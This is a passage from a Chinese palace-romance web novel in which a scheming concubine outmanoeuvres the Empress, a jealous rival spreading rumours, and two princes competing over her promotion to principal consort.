“甚好!灵音表妹不似那些世家女子般古板,但张弛有度,恪守规矩,墨染一定会喜欢的。”裴云澈戏谑地睨着他。 裴墨染腾的起身,他正色道:“母后恕罪,灵音表妹甚好,可本王已经拟好奏折,想要扶正蛮蛮。” 皇后的柳叶眉微微挑起,脸上闪过不悦,“之前你万般不愿娶清婳,现在怎么转了性?” “以前是儿臣不识好歹,蛮蛮哪里都好,儿臣心悦之。”他一字一顿,言辞真诚。 第112章 她俩绿了王爷? “呵。”裴云澈讥笑,就像听见了天大的笑话。 皇后蹙眉,“苏灵音可是骠骑将军的嫡女,本宫的亲外甥女,还配不上你不成?” 裴墨染坚定地说:“可儿臣答应过蛮蛮了,儿臣心意已决。” “夫为妻纲,你想娶谁,还要过问清婳不成?文臣已经归顺云澈,可虞将军虎视眈眈,你们再拉拢武将势力岂不是更好?”皇后的语气染上威压,没有商量的余地。 裴墨染在心里暗笑。 什么拉拢武将势力? 他明明还什么都没做,皇后、裴云澈便已经不放心他了。 这是想要在他身边安插细作,监视他的一言一行,免得他生出异心,跟裴云澈争夺皇位。 “母后,容儿臣再考虑考虑,儿臣不想伤了蛮蛮的心。”他委婉地拒绝。 “嘶……”皇后揉着太阳穴,呻吟起来,“本宫被你气得头疼!墨染,你长大了,有自己的主意了,不用再听本宫的话了!” “肃王!您幼年贪玩,皇后娘娘午睡时,您将窗子打开,娘娘这才得了头风。这头风一发作,娘娘恨不得撞墙呢。”白嬷嬷的语气带着丝丝埋怨。 皇后轻声斥道:“别说了!做娘亲的,哪能怪孩子?孩子就是生来讨债的!” “……” 裴墨染的眼眶泛红,满脸都是悔意。 这么拙劣的演技,这么明显的亲情绑架,却让他心疼、难过。 “母后莫气,墨染最孝顺了,会明白您的良苦用心的。”裴云澈又出来唱红脸。 裴墨染心中的情绪在翻江倒海。 他像是一只提线木偶,被皇后、裴云澈操控、把玩、戏弄。 他抿着唇,最终也没给出答案。 …… 裴墨染去了北镇抚司,他想跟诸葛贤分析一下方才的事。 可他才踏入府衙,诸葛贤、几个副将就急匆匆地跑来。 “不好了!王爷,不好了!” 他们的反应,像是有十万火急的大事。 “何事?”裴墨染凝眉。 “就是……”几个副将吞吞吐吐,面面相觑起来。 裴墨染本就心烦,看见他们欲言又止,更是来气。 他低吼:“你们忸怩什么?” “就是……就是……”几个大男人红了脸。 “诸葛先生,您说!”裴墨染轻扬下巴,不容置喙。 诸葛贤的唇张了又闭,闭了又张,“王爷,老夫买了戏票,不如先去看一场戏吧。” “不是有急事吗?为何您还有闲情逸致看戏?为何每个人都要请本王看戏?”裴墨染烦躁的一拳砸在门框上。 几个副将皱着脸,“王爷,您看了戏,什么都明白了!” 裴墨染狠狠瞪了他们一眼,只好拿着戏票,去了戏园子。 只是,好戏才上演了一半,裴墨染差点砸了戏台。 多亏诸葛贤拦着,才没酿成血案。 裴墨染直接便派北镇抚司将戏班子抓了。 “放肆!究竟是谁干的!居然隐喻蛮蛮跟其他妾室有苟且?!”裴墨染大发雷霆。 他一想起戏台上的唱段,就恶心得想吐。 副将皆是一脸膈应,“王爷,京城中的戏班子都在演这一段,茶楼的说书先生也在谣传此事。” “从即刻起,日日巡街,谁敢以讹传讹,就拔了他们的舌头!”裴墨染下令。 众人齐声道:“是!” 裴墨染想起众人看他的目光,登时火冒三丈。 “王爷,能把桥段编得这么细致,恐怕是内鬼啊。”诸葛贤分析道。 裴墨染的面色铁青,周身环绕着力气,他沉声道:“本王明白了。” …… 肃王府。 云清婳正跟魏娴坐在凉亭下一起绣花。 她将脑袋靠在魏娴的肩膀上,她抿着糖糕吃,身子软得跟泥巴似的,就差瘫倒在魏娴身上了。 魏娴无奈道:“云侧妃,沈沁几乎将全京城的戏班子都收买了,你再这样,我们就彻底说不清了。” 扑哧—— 飞霜跟魏娴的婢女笑喷了。 云清婳眼角的余光瞥着躲在不远处竹林后的人,眸中划过戏谑。 沈沁真是像极了阴湿女鬼,阴魂不散,在暗处偷窥一切。 她的神色轻蔑,“这么下流的招数,亏她想得出来!” “可是事情已经闹大了,云侧妃的声誉败了,沈沁或许就是想跟你鱼死网破。”魏娴的脸上挂着愁云。 “阿娴,借我些钱吧。”云清婳忽地话锋一转。 魏娴拧着眉头,缓缓问道:“多少?” 她俏皮地眨眨眼,“不用太多,就一万两白银吧。” 此话一出,几人倒吸了口凉气。 “最多一千两。”魏娴没好气道。 真是气人! 她的所有嫁妆加起来也才三千两! 可云清婳随便开口就是一万两。 “阿娴,你真的好喜欢我。”云清婳瞥着暗处的沈沁,笑得妖冶,“我问你借钱,你想都不想就借我一千两。” 魏娴推开她的脑袋,脸蛋通红,“你别说这种奇奇怪怪的话啊。” “你害羞了?”云清婳的双眸灿若星子。 魏娴侧过脸去。 这娇羞模样,让云清婳联想到了唐僧。 而她是女妖精! 她忍笑道:“阿娴,你看看我啊,你若是看我,我不信你两眼空空。” 扑哧—— 几个婢女又笑喷了。 “嘶……我身上好痒。”魏娴挠了挠肩膀。 “莫不是进虫子了?嘶……我身上也有点痒,这里离玄音阁不远,不如你去我那里沐浴更衣吧?”云清婳的眼底闪过精光。 魏娴犹豫了下,还是颔首。 二人快步朝着玄影阁走去。 竹林后,沈沁露出阴恻恻的笑。 她的药粉见效了。 …… 裴墨染一回府,便看见一群下人躲在假山后面惫懒。 “方才魏夫人跟云侧妃一起进寝殿了!” “何止啊?云侧妃还吩咐人,抬了好多水进去!” “我看见魏夫人的婢女,鬼鬼祟祟地抱着肚兜、小衣去了玄音阁。” “我的娘啊,戏班子唱的不会是真的吧?她俩真给王爷戴绿帽子了?” 裴墨染鬓角的青筋鼓起,面色黑沉,浑身裹挟着杀气。 “放肆!”他怒吼一声,声音回荡着。 惊起了枝头上的鸟雀。 下人腿肚子一抽,扑通跪在地上咚咚磕头,“王爷饶命啊!” “王爷饶命啊!” 裴墨染狠狠瞪了他们一眼,“污蔑云侧妃清白,拖下去重打五十大板,以儆效尤!” “是!”贴身太监立即吩咐人将几个刁奴拖了下去。 裴墨染怒气腾腾的朝着玄音阁走去。 暗处,沈沁眼中划过得意跟报复的快感。 太好了! 想必戏园子的大戏,王爷已经看了,他一定是来捉奸的! 云清婳,你就跟魏娴一起去死吧! 两个女子不停叫水,宽衣解带,白日共浴,这画面,香艳呦。 …… 裴墨染的拳头捏得咔咔作响,满腔都是怒火跟屈辱。 他不相信蛮蛮会背叛他! 可经历了赵婉宁,他心里有一个声音驱使他,让他想看个究竟! 进了玄音阁的大门,裴墨染不准人禀报,悄无声息地去了寝殿。 第113章 夫君,蛮蛮的初恋是你 殿中,云清婳、魏娴正坐在窗牗下刺绣。 云清婳嘟着嘴撒娇:“上次不是说让你叫我蛮蛮吗?阿娴为何不叫?” 魏娴的脸红到了脖颈,她结结巴巴:“……蛮、蛮。” 云清婳笑了,她探着脖子,在魏娴的脸上亲了一口,“阿娴,你唤得真好听,我喜欢。” 魏娴捂着脸,就像被歹人调戏的黄花大闺女。 裴墨染眸色一暗,他推开门,怒斥道:“你们在做什么?” “我们……”魏娴的头皮发麻。 怎么刚好让王爷看到了这一幕? 她真是跳进黄河都洗不清了。 云清婳掀起眼皮,抱怨道:“夫君,你这么凶干嘛?你吓到阿娴了。” 裴墨染气不打一处来。 这个小妮子根本不知道外面是怎么编排她的,她还敢“顶风作案”! 真是缺心眼! “妾身跟云侧妃已成为闺中密友,所以举止亲昵了些。”魏娴跪下解释。 裴墨染剜了魏娴一眼。 蛮蛮方才居然主动亲魏娴,还说喜欢魏娴! 她对他何曾这般献媚邀宠过? 魏娴凭什么啊?! 他的声音没有一丝温度,“云妃正在调养身子,别整日叨扰她。” “是。”魏娴在心里翻了个白眼。 明明是蛮蛮约她相见的。 她才不用上赶着找蛮蛮。 “退下吧。”他摆摆手。 魏娴走后,云清婳悠悠地捻起一块桂花糕吃。 她根本不担心裴墨染会为风言风语动怒。 当她将近一年的训狗,是训着玩的? 裴墨染一进门,就看见云清婳手里捏着针线,缝制着暗蓝色祥云纹皂靴。 “府里又不是没绣娘,当心扎着手。”裴墨染的嘴角上扬,心上刚凝结起来的冰被一股暖流化开。 云清婳不理他。 “还生气呢?我都不气了。”他弯下腰,在她的眉心落下一吻。 “昨晚明明是您欺负人,我坦诚相待,可您却话中带刺。”她的声音娇娇气气,像一只发威的奶猫。 裴墨染自知理亏。 “蛮蛮,别生气了,我听说女人生气容易长皱纹。”他哄道。 云清婳:“???” 飞霜:“???” 贴身太监:“???” 好家伙,有这么哄人的吗? …… 云清婳的黛眉一拧,狠狠推他。 真是气到吐血。 跟这个死直男聊不到一起去! 嘴没用,可以捐了! 裴墨染不明白她怎么又生气了。 他夺过她手中的针线、皂靴,将它们丢进绣篓,他打横将云清婳抱起来,跟抱孩子似的,让她坐在他的膝盖上。 见状,下人识趣地离开。 或许是因为认错认太多次了。 裴墨染已经很熟悉流程了,他张口就来,“蛮蛮,昨晚是我错了,那时我们未曾相识,你跟裴云澈还有婚约在身,你没有一丝错,我不该迁怒于你。” 她满眼的委屈,娇声说:“夫君,您若是不相信我,我是会伤心的。您是除了父兄外,我第一个喜欢的男子啊。” 他的心像是被战场上的投石车击中。 惊喜在他心中炸开。 蛮蛮第一个喜欢的男人是他! 蛮蛮的初恋是他! 她总是这样,总是一本正经地说出甜腻死人的话。 “我昨晚是气急了才口出狂言,怎会不相信你?”他的吻落在她的鼻尖、唇上。 云清婳乖顺地攀着他的肩膀,回应他的吻。 裴墨染想到方才蛮蛮主动亲魏娴,还娇滴滴地夸她,他酸了。 这个小妮子,平日总是容易娇羞。 他诱哄半天,她最多也只肯亲亲他的脸。 裴墨染心里不爽,冷不丁地开口:“蛮蛮日后莫要在外人面前跟魏娴太过亲近。” “为什么?闺阁的女子都是这样的。” “外面都……”他戛然而止。 云清婳歪着脑袋看他,双眼澄澈得像是一只小鹿,“外面怎么了?” 他不想把这么腌臜的事说出来,免得吓到她,让她伤心。 流言蜚语,他都会解决。 方才那群下人,一定是被人刻意安排在他的必经之路上,故意讲给他听的。 为的就是离间他跟蛮蛮。 他一定要将幕后之人逮住! “没什么,你最近少上街,街上人牙子太多了。” “嗯。”云清婳颔首。 忽地,裴墨染话锋一转,“蛮蛮,你方才是怎么对魏娴的,也该怎么对我。” “可是阿娴是女孩子啊。”她很疑惑,黛眉微微蹙起,一脸的单纯。 这副模样要多撩拨人,就有多撩拨人。 裴墨染的心脏止不住的悸动。 他捏着她的下巴,耐心地引导她,“我是你的夫君,你身为妻子,不该好好服侍我?” “夫君怎么连阿娴的醋也吃?”她皱着小脸。 “对啊,为什么蛮蛮让我吃醋了?蛮蛮应该反思。”他一本正经地胡诌。 云清婳在心里痛骂了狗男人一百遍。 可为了立住单纯的小白莲人设,还是不得不装作愧疚。 她的黛眉往中间蹙了蹙,“知道了。” “我期待蛮蛮的表现,表现得好,我有奖励!”他在她浑圆的小屁股上拍了下,笑得轻佻。 呸! 她才不喜欢裴墨染的奖励! 无非就是床笫之私。 云清婳耸耸鼻子,不服气道:“流氓!” 她张牙舞爪地伸长胳膊,也要往他屁股上招呼。 裴墨染哪会答应? 堂堂肃王哪能被一个丫头片子打屁股? 他捏住她的手腕,又怕弄疼她,连忙转移话头,“别闹了!蛮蛮,你就不好奇,奖励是什么?” 电光火石之间,一个念头从云清婳的心里冒出来。 王妃之位! 能被裴墨染献宝似的,三番两次提及的奖励,她只能想到这个。 她的心脏强健有力地跳动着,喜悦之情在流淌在心上。 可她不能表现出来,她娇羞地哼了一声,嚷声道:“不要脸!” 裴墨染:“……” 这小妮子,怎么骂人呢? 想到哪里去了? 但他心里十分熨贴,这就是蛮蛮跟其他女人的区别。 赵婉宁为了保住王妃之位,宁愿抛弃家人。 最后万嬷嬷让人押着她签字画押,她拼命挣扎,差点咬断了万嬷嬷的食指。 装若癫狂,形同疯子。 他再次见赵婉宁,心中没有波澜,也完全想不起他们当年的回忆,只有眼前她的丑态。 这件事并不光彩,所以除了他以及亲信,不会有其他人知晓。 …… 沈沁看见魏娴安然无恙地从玄音阁走出来,胸腔一震。 她把牙磨得硌吱硌吱响,“她们为何没事?这可是奇耻大辱啊,王爷就算再宠爱云清婳,怎会轻轻放下?” “那痒药药性毒辣,起初只是前胸后背痒,后面会痒到下身,听说有人痒得把下面都抓烂了!她们二人不可能没脱衣物,没沐浴啊。”明珠也很是不解。 主仆二人很不解。 魏娴用眼角的余光睨着沈沁,鼻腔中发出一声很轻的哼声。 这个蠢货。 以为下药这种小伎俩,不可解吗? …… 晚上,云清婳沐浴后,特意让飞霜把纱橱里的桃色轻纱襦裙拿出来。 她想验证裴墨染的奖励,究竟是不是王妃之位! 做出一点点牺牲也没什么。 第114章 他要她主动 云清婳从浴室走出来,才沐浴完,海藻般浓密的黑发披在脑后,娇媚不失稚气的脸蛋泛着红晕,她那双漆黑的眸子生得极美,像是要把人吸进去。 她脖颈上的水珠,途经锁骨滚了下去。 裴墨染坐在榻上,透着纱绡看着她,心口激动,他似乎能听见自己的心跳。 他感觉口干舌燥,跟一匹饿狼似的。 但是,他没有付诸行动。 今晚,一定要蛮蛮主动! “夫君。”云清婳含笑朝他走来。 衣香鬓影,昏黄的烛光下,她的脸被光影雕琢得愈发深邃、美艳,倾国倾城。 她抬手,放下床幔。 裴墨染当即嗅到了清淡的兰草香。 他的喉结上下滚动,正色道:“别以为这样勾引,就能蒙混过关。” 云清婳:??? 不是! 还没开始呢。 她勾引什么了? “我没有。”云清婳的声音清甜。 裴墨染差点没把持住。 她上榻后,跪在他身侧,抱着他的胳膊觉得不对,抱着他的腰,还是觉得不对。 帐中前所未有的安静,只有丝绸布料摩擦的声音。 猝不及防的,云清婳探着脖子在他唇上亲了一下。 像是完成了一项艰巨的任务。 她如释重负,仰起脸邀功,“夫君,蛮蛮方才表现得好嘛?” 她一副求夸奖的表情。 清纯的如一朵睡莲。 跟那些妖艳献媚的女子完全不同。 裴墨染的心软成了一滩水,将她扑倒。 他嘴硬,说出来的话气人,“好什么啊?我还以为你身上痒呢,在我身上乱蹭!” 狗男人! 得了便宜还卖乖! 啪—— 云清婳伸手在他屁股上拍了一巴掌。 打完云清婳就后悔了,因为迎来了裴墨染的又狠又凶的报复。 一场云雨后,裴墨染拍着她单薄的背脊,给她顺气,“方才,喜欢吗?” “嗯。”她实在没力气,跟奶猫似的哼唧了一声算作回应。 这满足了裴墨染的征服欲。 他就喜欢看她娇娇气气,被欺负的模样。 “奖励呢?”她冲他伸手。 “你还有力气要奖励?看来我还是不够卖力。”裴墨染带有侵略性地在她腰上捏了一把。 云清婳身子抖了抖,幽怨地瞪他,“您果然是骗我的。” “别生气啊,谁说我是哄你的?”裴墨染下榻,从茶桌上端来一个劝盘。 劝盘上摆放着一匹朱红色蜀锦,在烛火的照射下,光滑柔软的蜀锦绽开了光芒。 “喜欢吗?我从皇祖母那里讨来的。”裴墨染邀功似的说。 云清婳的双眸暗了暗。 谁稀罕一块破布? “嗯,喜欢。”她淡淡道。 裴墨染将劝盘往她手边送了送,“既然喜欢,那你看看啊,之前皇祖母没送你,我耿耿于怀了好久。” 她敷衍地摸了下光滑的绸缎,忽地,摸到了坚硬的触感。 云清婳探入绸缎一摸,从里面掏出了一本奏折。 “打开看看。”裴墨染观察着她的表情,笨拙中夹杂着小心翼翼。 云清婳的心脏狂跳起来,她打开奏折一看,上面写的果然是立她为妃的事情! 算狗男人有良心! 真好啊! “这是真的吗?”云清婳坐起身,惊讶地看着裴墨染。 她的眼泪说流就流,大颗大颗的泪掉在奏折上,“我不是在做梦吧?” 裴墨染手忙脚乱起来,一边给她擦眼泪,一边又抢奏折,“别哭啊,当心把奏折打湿了。” “呜呜夫君……”她扑进他的怀里,将脸埋在他的胸口啜泣。 “蛮蛮德才兼备、贤惠宽厚,待本王一片赤诚之心,王妃之位本就该是你的。”裴墨染揉着她的脑袋,认真地说。 云清婳的双手扯着他的亵衣衣角,抽噎道:“我还以为您是骗我的……” “在你心里本王就是谎话连篇,言而无信之人?”他不悦地反问。 她摇摇头,眼中充满了爱慕,“夫君逼退敌军,镇守边关,保天下太平,待蛮蛮又好,您是蛮蛮最崇拜的人。” 裴墨染的耳根子渐渐染上了红晕。 被小丫头片子这么夸,还真有点臊得慌。 “那你现在可相信本王爱你?心里有你?”他扶着她的肩膀,与她对视。 男人的眸中盛满了坚定与柔情,褪去平日的冷漠跟戾气。 云清婳望着他的眼睛,的确在其中看到情意。 她从不质疑真心,可是真心瞬息万变。 这会儿,裴墨染爱她,自然什么都肯给她。 可谁能保证,若干年后,不会又跳出来一个风华绝代的女子,把他勾引走了呢? “别以为这点小恩小惠,我就会原谅您!我可还记得,我们拜堂,您没好好拜,也没喝合卺酒,您还纵容赵婉宁派人羞辱我……”她越说越委屈,眼泪扑簌簌地流。 裴墨染的心像是被一根钢钉贯穿,扎得他呼吸都是疼的。 愧疚、后悔在心口弥散开来。 新婚夜,他对她实在冷漠无情。 他吻着她的眼泪,“怪我,其实新婚夜,我看你的第一眼,就觉得你很好。蛮蛮,别哭了!眼睛都快肿成桃子了。” “您讨厌!”她攥着拳头,在他胸口捶了一下。 裴墨染抱着她躺下,他的下巴颏放在她的发顶,重重叹了一声:“蛮蛮,快些怀孕啊。” 他希望蛮蛮能诞下嫡长子。 “嗯。”云清婳漫不经心地回应,她心里在盘算另一件事。 若是没有记错,本书的反派女二要出场了! 按照原著的剧情,姐姐嫁给裴墨染后,皇后不放心裴墨染,便逼着裴墨染迎娶自己的侄女苏灵音。 当然,裴墨染严词拒绝了。 但苏灵音是狠角色,她靠着各种手段卖惨,换取了姐姐跟裴墨染的信任。 之后,她挑拨离间了好几次姐姐跟裴墨染的关系。 甚至还害得姐姐流产! 因为流产,裴墨染跟姐姐互生怨怼,冷战了三年。 最后真相被揭开,苏灵音也只是被罚去感业寺削发为尼,平平淡淡一辈子。 现在,裴墨染已经纳了许多女人。 所以苏灵音十有八九也会进入后宅,甚至跟她争抢正妃之位。 不得不防啊! …… 翌日。 裴墨染便让人将赵婉宁赶去了偏院。 她既然已经不是王妃,自然没资格住进清心阁。 但云清婳也膈应得很,不想搬进去,所以清心阁被搬空了。 这引得许多妾室眼馋。 赵婉宁那么差的出身,都能入主清心阁多年,她们有何不可? 第115章 为她,裴云澈对皇后发火 赵婉宁住进了荒芜的废院,下身溃烂,浑身泛着一股恶臭跟血腥味。 她双颊凹陷,眼圈泛黑,原本顺滑亮丽的黑发也枯萎得像是稻草。 “呜呜呜……王爷好狠的心啊!我不就是生了个孩子吗?他竟这般绝情?”赵婉宁痛苦地哭泣。 “我好想回家,好想回家啊!早知今日,我当初就不派人轮了谢容音。” 倘若谢容音没死,她必定不会是这个下场。 她悔恨,当初她应该留谢容音一条贱命的,谢容音可比云清婳好收拾多了。 春苗听着她口中的密辛,既心惊又鄙夷,“王妃,赵家全家已经锒铛入狱,咱们已经山穷水尽了。” “我不好过,云清婳也别想好过!她根本不爱王爷,她是有目的的!”她装若癫狂,嘴里一直重复着最后一句话。 春苗扶了扶髻上的碧绿的玉簪,眼底闪过暗色,“奴婢有个好主意,一定能让王爷厌弃云清婳。” “你说。”赵婉宁涣散的眸子聚焦。 春苗附在她的耳边絮絮不止。 …… 翌日,趁着裴墨染上朝,云清婳被召进了翊坤宫。 皇后旁敲侧击地询问了她,裴墨染有没有异心,有没有异动。 云清婳自然是站在裴墨染一边的,她一一化解。 “清婳,本宫知道,嫁给墨染你受了许多委屈。”皇后心疼地拿出一枚凤纹掐丝金镯套在她的腕上,“既然郎无情,妾无意,做不做正妃,又有什么区别?” 老妖婆! 云清婳在心里骂了一百遍皇后。 这不就是借机敲打她,让她不要争王妃之位吗? “本宫准备让墨染迎娶本宫的侄女苏灵音,这孩子个性乖巧,定会与你处成闺中密友。你回府后,劝劝墨染,你也可以准备迎亲了。”皇后的嘴角扯出一抹虚伪的笑,并不给她拒绝的机会。 云清婳沉下了脸。 一次退让,就会步步退让。 她福福身,不卑不亢道:“皇后娘娘,此事妾身说与王爷,王爷定会大发雷霆,妾身不敢。更何况,王爷已经拟好奏折,欲扶正妾身。” “呵,终于把心里话说出来了?原来还是想做正妃啊。”皇后狠狠拍响了檀木茶几。 “好言相劝你不听,那本宫就不得不教教你规矩跟体统!” “你进门一年,腹中无所出,早已犯了七出之条!本宫把你当做女儿,处处包容你,却没想到你野心勃勃,恩将仇报,真让本宫心寒!”她失态地怒斥,桃花眼眯着,怒气外泄。 闻风,众宫女退下。 云清婳在门阖上的前一刻,瞥见了一道颀长清瘦的青色身影。 她抬眸,脸上写满了挑衅,“皇后娘娘,人往高处走,这是人之常情。不然,您为何不把后位让给虞贵妃?” 虞贵妃三字像是触到她的逆鳞。 “你放肆!”皇后腾的站起身,眼睛瞪得像一对铜铃。 “来人啊!云侧妃言行无状,冲撞本宫,将她拖去门外,掌掴三十下!”她狠狠甩袖。 啊—— 云清婳摔倒在地。 吱呀—— 门开的一瞬间,从裴云澈的角度,正好看见皇后“推了”云清婳。 “住手!”裴云澈快步跑来,“蛮蛮,你没事吧?” 他蹲下身,心疼地抓着她的胳膊将她扶起来。 “呜呜呜……殿下,妾身没事,都是妾身没站稳。” 裴云澈的脸上仿佛结了冰霜,他清冷道:“母后,儿臣早就说过蛮蛮是自己人。您跟蛮蛮何至于此?您着实是冲动了。” 皇后被最宠爱的儿子埋怨,她又惊讶又痛心,“云澈,你为了一个女人,这样跟本宫说话?” “母后,完成大业并非一朝一夕,而是起源于细枝末节,您若是再不收敛,恐怕最后只会水中捞月!”裴云澈是真的怒了,二话不说扶着云清婳离开。 皇后怕伤了母子情分不敢多言,她看着裴云澈带着云清婳离开,心如刀割,被气得差点呕出一口鲜血。 …… 假山后。 裴云澈抓住她的双手,紧张地上下打量她,“怎么样?用不用叫太医?” 方才听到母后要当众掌掴蛮蛮,他的心抽疼了一下。 云清婳扑进他怀里,饮泣吞声,“殿下,妾身好怕。” “有本王在,必不会让任何人伤害你,就算是母后也不行。”他的语气像极了起誓,言真意切。 她抬起头,凝着他的眼睛,“妾身不欲瞒您,方才皇后娘娘让妾身将正妃之位让给苏姑娘,妾身没答应。” 裴云澈狭长的眸子射出寒光,周身散发出危险的气场,“可是蛮蛮,这也是本王的意思。” 云清婳的眼神被惊讶取代。 他别开眼神,看向远处,“蛮蛮,本王得在裴墨染身边安插一个亲信。尽管他与本王手足情深,可权力的诱惑太大呢,谁都不能保证日后会发生什么。” “殿下,这并不冲突,妾身不想被人欺负,妾身身为云家嫡女不愿为妾。难道在您心里,我比不上苏姑娘吗?”她伸出手,抓住他的冰凉的手掌。 裴云澈的低下头,狭长的眸子显露出下三白,审视着她的每一寸表情,“蛮蛮对裴墨染无意,何必纠结王妃之位?” 她的眼泪又掉了出来,像是被伤透了心,身子摇摇欲坠,“呵,您还是不信我?觉得我对裴墨染动心了?” “本王不是这个意思!”裴云澈有些心虚。 云清婳连连后退,她伸出手示意他止步,“殿下,我一心为您,惟愿您登至高位,可您有没有为我考虑丝毫?我不想被人踩在脚下有错吗?” “您说疼我爱我,可我被赵婉宁欺负的时候您在哪里?” 裴云澈惊讶于她的爆发。 蛮蛮的脾气很好,从不会发怒,今日着实把他震住了。 他的眼睛红了一圈,心口泛着疼,“蛮蛮,本王只是……” 他哽住了,半晌没说出下文。 呵。 看吧,这个死狗贼就是自私! 给他机会狡辩,他都狡辩不出来。 “君若无情,我便休。既然如此,我们断了吧!”云清婳的小脸上淌满了眼泪,可仪态端庄,平静得可怕。 裴云澈的眼神一冷,语气重了些,“你要跟本王断了?就为了瑞王妃的位置!?” “您觉得是,就是吧。”她福福身,转身就走。 她训狗,是为了让狗乖乖听话的。 可这疯狗,不帮她完成心愿也就罢了,还给她添堵,是该给他点惩罚了。 “蛮蛮。” 裴云澈追上来,失态地从她身后抱住她。 他向来高傲,最恨旁人凌驾于他之上。 可面对蛮蛮的割席,他慌了。 “不许走!”他的声音喑哑,鼻梁发酸。 云清婳使劲挣了挣,没挣脱。 她心累地沉吟一声,“殿下,我对您很失望!请您放开。” 他的心像是被钝刀子一刀一刀地划着,不至于撕心裂肺,但让他疼得憋屈。 裴云澈向来高傲,还是无法彻底对女人低下高傲的头颅。 “你怎么敢用分开威胁本王?蛮蛮,本王对你也很失望。”他松开她。 “好!”云清婳将手腕上的冰种紫珊瑚手串扯断。 颗颗圆润饱满的珠子噼里啪啦撒了一地。 “妾身与您,就如同此手串!从此割席,再无瓜葛。”她的脸憋得通红,看起来十分痛苦。 裴云澈的眸子猩红,双臂气得颤抖。 从未有女人敢如此践踏他的感情! 云清婳转身的瞬间,阴森森地笑了。 气死你个狗杂种! 第116章 裴墨染嘴角快翘上天 回程的马车上。 飞霜还在犯怵,她搓着胳膊,“主子,裴云澈可是个面慈心黑的,您这么对他,他不会报复咱们吧?” “放心,他不会。”云清婳悠悠地涂抹着羊脂膏。 她如此肯定,自然不是觉得裴云澈爱她爱到无法自拔。 裴云澈自命不凡,蔑视众生,他怎能忍受他的人,被裴墨染俘获身与心呢? 就算为了争一口气,他也绝对不甘心输给裴墨染。 更何况他对她还是有情意在的。 正值晌午,马车停在了北镇抚司门前。 侍卫问了来者何人后,立即去公堂禀报。 “王爷,嫂夫人来了。”几个副将争前恐后地挤进门,笑着揶揄。 裴墨染极力压制住嘴角的笑,他扔掉卷宗,数落道:“真是的!妇道人家,整日脑袋里想的都是情啊爱啊的,粘人!” “她昨日还亲手给本王做靴子,府里又不是没绣娘,多此一举。” 他边说边往门外走,像被人勾魂了。 几个副将:装什么啊?嘴角都快翘上天了。 “本王本来还想加点审问犯人,罢了,你们也早些下职回家吧。”裴墨染步履生风。 诸葛贤无奈地摇摇头,他揶揄:“王爷倘若想要加快进度,审问犯人,不如老夫帮您回绝云侧妃?” 裴墨染的脸霎时绿了,“别……云妃的脾气你们还不知道?到时候又要跟本王一哭二闹三上吊。” 说着,他的步伐更快了,生怕被诸葛贤叫住。 几个副将的白眼都快翻上天了。 装什么啊? 心里高兴坏了吧? 今天提云侧妃做靴子都提了十遍了! 跟没穿过鞋似的! …… 裴墨染急匆匆地上了马车。 他一打开车扉,便看见娇气的小人儿瘪着嘴,漂亮的眼里包着一股眼泪,委屈破碎地望着她。 “怎么哭了?是不是怪我来晚了?”他还穿着白银盔甲,慌乱得浑身到处摸索帕子。 “夫君!”云清婳猛地扑进他怀里,嚎啕大哭。 她的眼泪像泄了闸的洪水,止不住地流。 裴墨染急得不行,想给她擦眼泪,却找不到布料。 还是飞霜贴心地递上了手绢,他才给她擦眼泪,“蛮蛮,不哭了,究竟是怎么了?你说啊。” 他心急如焚,摇晃着她的肩膀,“有人欺负你了?是不是皇后?裴云澈?你说啊,本王定不饶他!” 蛮蛮进宫的事情,他一早就知道了。 但他知道蛮蛮有七窍玲珑心,想必不会吃亏,就没放在心上。 “夫君,方才……” 云清婳事无巨细地将皇后询问她裴墨染有没有异心、逼她让位、差点掌掴她的事全说了。 “夫君,我好害怕啊!”她的身子还在瑟缩,“我要是被掌掴,成了京城的笑话,就没脸见您了。” 裴墨染的心里像是被插了根刺。 蛮蛮这么娇气,小脸蛋这么漂亮,若是被打出事来,他不敢想下去,心有余悸。 他收紧双臂,紧紧将她搂在怀里,眼中满是疼惜,“怪我,我应该退朝后就去找你的。” “我是不是做错了,不该拒绝皇后娘娘?”她好像做错事的孩子,愧疚地低下了头。 “不,你没有错!”裴墨染亲吻她的眼角,“这世上没人比你更配做肃王妃,是皇后太过偏执霸道。” 他把皇后当作娘亲,可皇后居然向蛮蛮打听他是否有异心。 尽管他早已看透他们的虚情假意。 但还是止不住的难过。 “可是皇后娘娘说我犯了七出之条,怪我没有身孕啊。”她恹恹的,像是霜打的茄子。 裴墨染捧着她的脸,一字一顿道:“蛮蛮,我们会有孩子的!” 她紧紧地环抱着他的腰,就好像他是这天地间她唯一的倚靠。 他们俩只有彼此。 “对了,皇后还赐了这个给我。”云清婳抬起左手,给他看皇后赏的凤纹掐丝金镯。 裴墨染的眸底闪过暗色,他将镯子取下,放在鼻前嗅了嗅。 是一股浓郁的药草香。 他黑着脸,剑眉紧锁,周身散发出冰冷的寒意。 虽然他常年在边关,可他在前十二年早就见识惯了后宫的波澜诡谲,阴谋算计。 “这镯子有什么不对吗?”云清婳轻眨着浑圆的眸子。 裴墨染复杂地看着她,她就像一张干净的白纸,纯洁无瑕。 蛮蛮聪慧伶俐,可是太过善良,被家人保护得太好,所以总是不够警觉。 今日他得教教他,让她见识人心的险恶。 回到王府,裴墨染召来府医。 他将镯子递给府医,“看看这镯子有什么古怪。” 府医接过镯子,嗅了嗅,脸色大变,“回禀王爷,此镯有一股麝香息肌丸的味道。此药可美容养颜、身轻如燕,但女子若是佩戴久了会不孕不育。” 云清婳倒吸了口凉气,露出惊讶的表情。 “派人将里面的药丸取出来。”裴墨染命令道。 “是。”贴身太监早已见怪不怪。 众人退下后,裴墨染心疼地看向云清婳,“蛮蛮,本王怕吓到你,本不欲告诉你真相。” “原来皇后娘娘为了苏姑娘,从一开始就不希望我受孕。”云清婳的神情很受伤。 他搂着她,轻轻拍抚她的后背,“蛮蛮,日后你只需相信本王。皇后、裴云澈对本王终究是隔着一层的。” 他把多年以来心中的苦涩剖析出来,告诉她。 这是信任的表现。 裴墨染以为云清婳会恐惧、难过,可她却侧过头,心疼地看着他,“夫君日后有蛮蛮了,蛮蛮心里最重要的人就是夫君。” 他的心跳空了一拍,暖意将心尖的霜雪融化,他紧紧将她搂在怀中。 “疼,好硬啊。”她嘟嘟囔囔地抱怨。 裴墨染低头一看才发觉身上的铠甲未卸,把她硌着了,圈住她的手臂松了松。 “哪里硬?嗯?”他脸不红心不跳地说着荤话。 云清婳意识到他的双关,脸蛋腾地红了,“流氓!” 他忍俊不禁,捏捏她的脸蛋,“过几日是万寿节,到时候我就把奏折呈上去,立你为正妃。” 